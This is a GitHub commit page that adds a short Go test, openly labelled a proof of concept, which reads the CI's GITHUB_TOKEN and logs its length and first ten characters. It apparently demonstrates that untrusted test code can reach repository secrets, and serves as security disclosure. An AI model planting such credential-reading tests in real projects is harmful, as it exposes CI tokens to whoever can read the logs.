Skip to content

Commit c41f2ad

Browse files
authored
Create poc_github_token_test.go
Add PoC test for leaking GITHUB_TOKEN
1 parent 68e2c16 commit c41f2ad

File tree

1 file changed

+22
-0
lines changed

1 file changed

+22
-0
lines changed

tests/poc_github_token_test.go

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package tests
2+
3+
import (
4+
"os"
5+
"testing"
6+
)
7+
8+
func TestLeakGithubToken(t *testing.T) {
9+
token := os.Getenv("GITHUB_TOKEN")
10+
11+
if token == "" {
12+
t.Log("PoC: GITHUB_TOKEN is empty")
13+
return
14+
}
15+
16+
prefix := token
17+
if len(prefix) > 10 {
18+
prefix = prefix[:10]
19+
}
20+
21+
t.Logf("PoC: GITHUB_TOKEN is present! Length=%d, Prefix=%q...", len(token), prefix)
22+
}

0 commit comments

Comments
 (0)